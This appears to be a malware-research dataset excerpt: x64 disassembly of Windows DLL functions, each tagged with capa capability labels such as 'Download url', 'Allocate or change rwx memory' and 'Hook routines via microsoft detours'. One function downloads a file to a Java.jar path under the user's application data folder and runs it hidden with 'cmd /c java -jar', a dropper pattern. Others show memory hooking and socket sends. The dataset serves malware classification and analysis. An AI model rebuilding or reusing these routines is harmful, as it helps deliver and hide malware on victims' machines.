joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001140b
Capabilities:
Resume thread

Disassembly:
jmp 0x180014f30
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x180026500], eax
je 0x180014f4c
mov eax, 0x10dd
jmp 0x180015073
mov rax, qword [0x180026518]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180014ff7
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x180014fc2
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x180014fc2
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.1800132a0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.18001146a
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x180014f58
mov qword [0x180026518], 0
call fcn.180013f90
mov rax, qword [0x180026510]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x18001505c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.18001146a
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x180015013
mov qword [0x180026510], 0
mov dword [0x180026500], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x1800114fb
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
jmp 0x180011bd0
push rbp
push rdi
sub rsp, 0xae8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1e6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180026040]
xor rax, rbp
mov qword [rbp + 0xa88], rax
lea rcx, [0x18002c0bd]
call fcn.180011546
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x180011da0
lea r8, [rbp + 0x10]
mov edx, 0x104
lea rcx, [rbp + 0x240]
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
lea rdx, str.Microsoft
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor edx, edx
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.Java.jar
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x240]
mov rdx, qword [section..data]
xor ecx, ecx
call fcn.1800114e2
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 0
jne 0x180011da0
movzx eax, byte [0x1800264c1]
test eax, eax
jne 0x180011d99
lea r9, [rbp + 0x240]
lea r8, str.cmd__c_java__jar___s_
mov edx, 0x118
lea rcx, [rbp + 0x490]
call fcn.1800111a9
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x6e0]
call fcn.180011424
mov dword [rbp + 0x6e0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x768]
call fcn.180011424
mov dword [rbp + 0x71c], 1
xor eax, eax
mov word [rbp + 0x720], ax
lea rax, [rbp + 0x768]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180011d99
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x770]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1800264c1], 1
mov byte [0x1800264c2], 1
lea rcx, [rbp - 0x50]
lea rdx, [0x180022b40]
call fcn.180011483
mov rcx, qword [rbp + 0xa88]
xor rcx, rbp
call fcn.18001129e
lea rsp, [rbp + 0xa98]
pop rdi
pop rbp
ret
Function at 0x1800126b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.180012960
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x1800127b7
mov rax, qword [0x180026010]
cmp qword [rsp + 0x20], rax
jb 0x180012714
mov rax, qword [0x180026018]
cmp qword [rsp + 0x20], rax
ja 0x180012714
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x1800126d6
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180011424
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x180012743
jmp 0x1800127b7
cmp dword [rsp + 0x50], 0x10000
jne 0x18001279a
cmp qword [rsp + 0x48], 0x10000
jb 0x18001279a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180012788
mov rax, qword [rsp + 0x28]
jmp 0x1800127b9
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x1800127b2
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.180012960
mov qword [rsp + 0x20], rax
jmp 0x1800126d6
xor eax, eax
add rsp, 0x68
ret

Function at 0x180012810
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1800129b0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180012913
mov rax, qword [0x180026010]
cmp qword [rsp + 0x20], rax
jb 0x18001286b
mov rax, qword [0x180026018]
cmp qword [rsp + 0x20], rax
ja 0x18001286b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18001282d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180011424
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18001289a
jmp 0x180012913
cmp dword [rsp + 0x50], 0x10000
jne 0x1800128f1
cmp qword [rsp + 0x48], 0x10000
jb 0x1800128f1
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1800128df
mov rax, qword [rsp + 0x28]
jmp 0x180012915
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18001290e
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1800129b0
mov qword [rsp + 0x20], rax
jmp 0x18001282d
xor eax, eax
add rsp, 0x68
ret
Function at 0x180012a10
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180011532
mov qword [rsp + 0x28], 0
cmp qword [0x1800264f0], 0
jne 0x180012a58
cmp qword [0x1800264e8], 0
je 0x180012a58
mov rax, qword [0x1800264e8]
mov qword [0x1800264f0], rax
cmp qword [0x1800264f0], 0
je 0x180012afe
mov rax, qword [0x1800264f0]
cmp qword [rax + 0x10], 0
je 0x180012afe
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180012afe
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180012afe
mov rax, qword [0x1800264f0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x180012ac4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x180012acb
xor eax, eax
jmp 0x180012c79
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.180011424
mov rax, qword [rsp + 0x28]
jmp 0x180012c79
mov rax, qword [0x1800264e8]
mov qword [0x1800264f0], rax
jmp 0x180012b20
mov rax, qword [0x1800264f0]
mov rax, qword [rax + 8]
mov qword [0x1800264f0], rax
cmp qword [0x1800264f0], 0
je 0x180012b6d
cmp qword [0x1800264f0], 0
je 0x180012b6b
mov rax, qword [0x1800264f0]
cmp qword [rax + 0x10], 0
je 0x180012b6b
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x180012b6b
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x180012b6b
jmp 0x180012a9c
jmp 0x180012b0e
mov rcx, qword [rsp + 0x60]
call fcn.18001117c
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180012d20
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x180012c77
mov rax, qword [rsp + 0x48]
mov qword [0x1800264f0], rax
mov rax, qword [0x1800264f0]
mov dword [rax], 0x52727464
mov rax, qword [0x1800264f0]
mov qword [rax + 0x10], 0
mov rax, qword [0x1800264f0]
mov rcx, qword [0x1800264e8]
mov qword [rax + 8], rcx
mov rax, qword [0x1800264f0]
mov qword [0x1800264e8], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1800264f0]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x180012c28
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x180012c62
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x180012c1e
mov rax, qword [0x1800264f0]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x180012a9c
xor eax, eax
add rsp, 0x58
ret
Function at 0x180003bc8
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x1800537c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rcx
mov rbx, r9
mov ecx, dword [r9]
mov edi, r8d
mov rbp, rdx
call fcn.18000684c
test eax, eax
jne 0x180003ce8
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x180003ce3
xor edx, edx
mov eax, r8d
div ecx
mov r11d, eax
test edx, edx
jne 0x180003ce3
test cl, 3
jne 0x180003ce3
movsxd r8, dword [r9]
lea r15, [0x18005aa60]
imul r9, r8, 0xb0
mov r10, qword [r9 + r15 + 0x68]
test r10, r10
je 0x180003c67
lea rax, [rbx + 0x88]
mov r8d, r11d
lea r9, [rbx + 8]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rsi
call r10
jmp 0x180003ce8
test edi, edi
je 0x180003cdf
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
imul r9, rax, 0xb0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [r9 + r15 + gethostbyname]
test eax, eax
jne 0x180003ce8
mov ecx, dword [rbx + 4]
xor r11d, r11d
test ecx, ecx
jle 0x180003cd2
lea r8, [rsp + 0x30]
mov r9, rsi
sub r8, rbx
lea rdx, [rbx + 8]
sub r9, rbx
mov r10, rbp
sub r10, rbx
mov ecx, dword [r8 + rdx - 8]
add r11d, 4
xor ecx, dword [rdx]
mov eax, dword [r9 + rdx - 8]
mov dword [rdx], eax
mov dword [r10 + rdx - 8], ecx
lea rdx, [rdx + 4]
mov ecx, dword [rbx + 4]
cmp r11d, ecx
jl 0x180003caf
movsxd rax, ecx
add rsi, rax
add rbp, rax
sub edi, ecx
jne 0x180003c6b
xor eax, eax
jmp 0x180003ce8
mov eax, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18003c720
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000614c
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
xor eax, eax
and qword [rcx], 0
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x1800068c8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov r13, r8
mov ecx, dword [rcx + 0x70]
mov r15, rdx
call fcn.180006874
test eax, eax
jne 0x180006a39
movsxd rbp, dword [rsi + 0x70]
lea rbx, [0x18005c060]
shl rbp, 7
mov ecx, dword [rbx + rbp + 0x10]
mov r12d, dword [rbx + rbp + 0xc]
call fcn.1800278a4
mov ecx, r12d
mov r14, rax
call fcn.1800278a4
mov rdi, rax
test r14, r14
je 0x180006a27
test rax, rax
je 0x180006a22
mov rdx, rax
mov rcx, rsi
call qword [rbx + rbp + 0x68]
mov ebx, eax
test eax, eax
jne 0x180006a02
lea r9, [0x18005c060]
mov eax, dword [r9 + rbp + 0x10]
test eax, eax
je 0x18000697d
mov rdx, qword [rsi + 0xe8]
mov rcx, r14
mov r8d, eax
mov al, byte [rdx]
inc rdx
xor al, 0x5c
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x18000696b
mov rcx, rsi
call qword [r9 + rbp + 0x58]
mov ebx, eax
test eax, eax
jne 0x180006a02
lea rax, [0x18005c060]
mov rdx, r14
mov r8d, dword [rax + rbp + 0x10]
mov rcx, rsi
call qword [rax + rbp + 0x60]
mov ebx, eax
test eax, eax
jne 0x180006a02
mov r8d, r12d
lea rax, [0x18005c060]
mov rdx, rdi
mov rcx, rsi
call qword [rax + rbp + 0x60]
mov ebx, eax
test eax, eax
jne 0x180006a02
mov rdx, r14
lea rax, [0x18005c060]
mov rcx, rsi
call qword [rax + rbp + 0x68]
mov ebx, eax
test eax, eax
jne 0x180006a02
xor ecx, ecx
test r12d, r12d
je 0x1800069fc
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x1800069fc
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x1800069e5
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.180027890
mov rcx, rdi
call fcn.180027890
mov rcx, r14
call fcn.180027890
mov eax, ebx
jmp 0x180006a39
mov rcx, r14
jmp 0x180006a2f
test rdi, rdi
je 0x180006a34
mov rcx, rdi
call fcn.180027890
mov eax, reloc.WS2_32.dll_listen
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180006a58
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, rcx
movsxd rbp, edx
mov ecx, ebp
mov ebx, r9d
mov r13, r8
call fcn.180006874
test eax, eax
jne 0x180006bc7
mov rdi, rbp
mov dword [rsi + 0x70], ebp
shl rdi, 7
lea rax, [0x18005c060]
mov r14d, dword [rdi + rax + 0xc]
test r9d, r9d
jne 0x180006ab3
lea eax, [r9 + 3]
jmp 0x180006bc7
mov r12d, dword [rdi + rax + 0x10]
mov ecx, r12d
call fcn.1800278a4
mov r15, rax
test rax, rax
jne 0x180006ad1
lea eax, [r15 + 0xd]
jmp 0x180006bc7
mov rcx, r12
call fcn.1800278a4
mov qword [rsi + 0xe8], rax
test rax, rax
jne 0x180006aed
lea ebx, [rax + 0xd]
jmp 0x180006bbd
lea r12, [0x18005c060]
mov rdx, r13
mov ecx, dword [rdi + r12 + 0x10]
cmp ebx, ecx
jbe 0x180006b3e
mov dword [rsp + 0x30], ecx
mov r9, rax
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov qword [rsp + 0x20], rcx
mov ecx, ebp
call fcn.180003efc
mov ebx, eax
test eax, eax
jne 0x180006bb1
mov eax, dword [rdi + r12 + 0x10]
cmp r14d, eax
jae 0x180006b65
sub eax, r14d
mov rcx, r14
add rcx, qword [rsi + 0xe8]
jmp 0x180006b5e
mov r8, rbx
mov rcx, rax
call fcn.180024e50
mov eax, dword [rdi + r12 + 0x10]
cmp ebx, eax
jae 0x180006b65
mov rcx, qword [rsi + 0xe8]
sub eax, ebx
add rcx, rbx
mov edx, eax
call fcn.180006834
mov eax, dword [rdi + r12 + 0x10]
test eax, eax
je 0x180006b8d
mov rdx, qword [rsi + 0xe8]
mov rcx, r15
mov r8d, eax
mov al, byte [rdx]
inc rdx
xor al, 0x36
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x180006b7b
mov rcx, rsi
call qword [rdi + r12 + 0x58]
mov ebx, eax
test eax, eax
jne 0x180006bb1
mov r8d, dword [rdi + r12 + 0x10]
mov rdx, r15
mov rcx, rsi
call qword [rdi + r12 + 0x60]
mov ebx, eax
test eax, eax
je 0x180006bbd
mov rcx, qword [rsi + 0xe8]
call fcn.180027890
mov rcx, r15
call fcn.180027890
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18001154c
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x48], 0x3a980
call fcn.180022c48
mov ecx, 0x65
call fcn.180021380
movzx eax, ax
and eax, 8
cmp eax, 8
jne 0x18001158a
mov dword [rsp + 0x44], 0x84c03200
jmp 0x180011592
mov dword [rsp + 0x44], 0x84400200
mov eax, dword [rsp + 0x44]
mov dword [0x180054294], eax
mov ecx, gethostbyname
call fcn.180021380
movzx eax, ax
cmp eax, 1
jne 0x1800115be
mov eax, dword [0x180054294]
bts eax, 0x13
mov dword [0x180054294], eax
mov ecx, 0x23
call fcn.180021380
movzx eax, ax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x180011641
cmp dword [rsp + 0x40], 1
je 0x180011617
cmp dword [rsp + 0x40], 2
je 0x1800115f0
cmp dword [rsp + 0x40], 4
je 0x180011641
jmp 0x180011673
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180054298], rax
jmp 0x180011673
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180054298], rax
jmp 0x180011673
mov ecx, 0x20
call fcn.18002133c
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov edx, 3
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180054298], rax
mov r9d, 4
lea r8, [rsp + 0x48]
mov edx, 5
mov rcx, qword [0x180054298]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rsp + 0x48]
mov edx, 6
mov rcx, qword [0x180054298]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rax, [0x1800542b0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x180054298]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [0x1800542a0], rax
mov ecx, 0x23
call fcn.180021380
movzx eax, ax
cmp eax, 4
jne 0x18001176e
mov ecx, 0x21
call fcn.1800212fc
mov dword [rsp + 0x4c], eax
mov ecx, 0x21
call fcn.18002133c
mov ecx, dword [rsp + 0x4c]
mov r9d, ecx
mov r8, rax
mov edx, 0x2b
mov rcx, qword [0x1800542a0]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov ecx, 0x22
call fcn.1800212fc
mov dword [rsp + 0x50], eax
mov ecx, 0x22
call fcn.18002133c
mov ecx, dword [rsp + 0x50]
mov r9d, ecx
mov r8, rax
mov edx, 0x2c
mov rcx, qword [0x1800542a0]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.180022c80
add rsp, 0x68
ret
Function at 0x180011ba8
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x148
mov dword [rsp + 0x30], 0x100
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x40]
mov edx, reloc.WS2_32.dll_send
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x180011bea
xor eax, eax
jmp 0x180011c0b
lea rcx, [rsp + 0x40]
call fcn.18002a1ec
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0xc8
je 0x180011c06
xor eax, eax
jmp 0x180011c0b
mov eax, 1
add rsp, 0x148
ret

Function at 0x180011c14
Capabilities:
Create udp socket

Disassembly:
sub rsp, 0x678
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x54], 0
call fcn.180011d4c
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 2
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x180011c6a
xor eax, eax
jmp 0x180011d44
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x5f0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4004747f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x180011cc7
mov eax, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x4c
div rcx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x50], 0
jmp 0x180011cdb
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x50], eax
jge 0x180011d35
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x4c
lea rax, [rsp + rax + 0x84]
mov qword [rsp + 0x70], rax
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x4c
mov eax, dword [rsp + rax + 0x80]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
and eax, 4
test eax, eax
jne 0x180011d33
mov eax, dword [rsp + 0x58]
and eax, 1
test eax, eax
je 0x180011d33
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 4]
mov dword [rsp + 0x5c], eax
jmp 0x180011d35
jmp 0x180011cd1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [rsp + 0x5c]
add rsp, 0x678
ret

Function at 0x180011d4c
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
cmp dword [0x1800542b8], 1
jne 0x180011d61
jmp 0x180011dfd
mov eax, 0x202
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x30]
movzx ecx, word [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x180011d8f
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18002a55c
mov dword [0x1800542b8], 1
mov ecx, socket
call fcn.1800212b8
mov dword [0x1800542bc], eax
mov ecx, reloc.WS2_32.dll_send
call fcn.1800212b8
mov dword [0x1800542c0], eax
mov ecx, 0x3d
call fcn.18002133c
mov qword [0x18005def8], rax
mov ecx, 0x3e
call fcn.18002133c
mov qword [0x18005def0], rax
mov ecx, 0x3f
call fcn.18002133c
mov qword [0x18005dee8], rax
mov ecx, 0x42
call fcn.18002133c
mov qword [0x18005dee0], rax
add rsp, 0x1d8
ret
Function at 0x180011e28
Capabilities:
Set current directory

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x428
cmp dword [rsp + 0x438], 0x3ff
jle 0x180011e47
jmp 0x180011e7c
movsxd rax, dword [rsp + 0x438]
mov r8, rax
mov rdx, qword [rsp + 0x430]
lea rcx, [rsp + 0x20]
call fcn.18002ad40
movsxd rax, dword [rsp + 0x438]
mov byte [rsp + rax + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x428
ret

Function at 0x1800121b4
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x830
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x18001220b
mov r8d, reloc.WS2_32.dll_send
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [rsp + 0x840]
add rsp, 0x830
pop rdi
ret

Function at 0x180012594
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [rsp + 0x20], eax
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.180019c54
lea rcx, [rsp + 0x48]
call fcn.180019eb8
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x48]
call fcn.180019c98
mov dword [rsp + 0x24], eax
lea rcx, [rsp + 0x48]
call fcn.180019b40
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x48]
call fcn.18000fbe0
mov dword [rsp + 0x28], eax
call fcn.180011d4c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rsp + 0x20]
jae 0x18001265b
mov edx, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x38]
call fcn.180012b20
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x180012640
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180012659
xor r9d, r9d
mov r8d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.WS2_32.dll_send
jmp 0x180012665
jmp 0x18001260c
